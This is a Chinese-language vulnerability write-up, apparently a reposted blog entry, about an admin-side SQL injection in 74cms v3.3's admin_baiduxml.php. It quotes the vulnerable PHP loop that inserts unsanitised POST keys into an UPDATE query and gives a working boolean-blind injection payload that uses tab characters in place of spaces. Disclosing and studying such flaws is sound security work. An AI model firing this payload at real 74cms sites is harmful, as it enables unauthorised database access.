74cms v3.3 后台SQL注入

注入存在于后台 admin_baiduxml.php

代码 52-63行

elseif($act == 'setsave')
{
        $_POST['xmlmax']=intval($_POST['xmlmax']);
        $_POST['xmlpagesize']=intval($_POST['xmlpagesize'])==0?1:intval($_POST['xmlpagesize']);
        foreach($_POST as $k => $v)
        {
        !$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";
        }
        refresh_cache('baiduxml');
        adminmsg("保存成功!",2);
}

这里可以看到 用了 foreach 对 $POST 进行遍历,没有对$k 进行处理

!$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";

虽然上面两行对 xmlmax 和 xmlpagesize进行了 intval操作,但是用户可以提交如下数据 那么这里b参数就没有进行任何处理导致注入

xmlmax=111&xmlpagesize=112&b=aaa

 

空格变为了_

可以用%09 代替 空格 

最后bool盲注 payload:

xmlmax=111&xmlpagesize=112&b'or%09if(1%3d(select%091%09REGEXP%09if(1%3d12,1,0x00)),1,1)%23=aaa

 

转载于:https://www.cnblogs.com/depycode/p/6699847.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值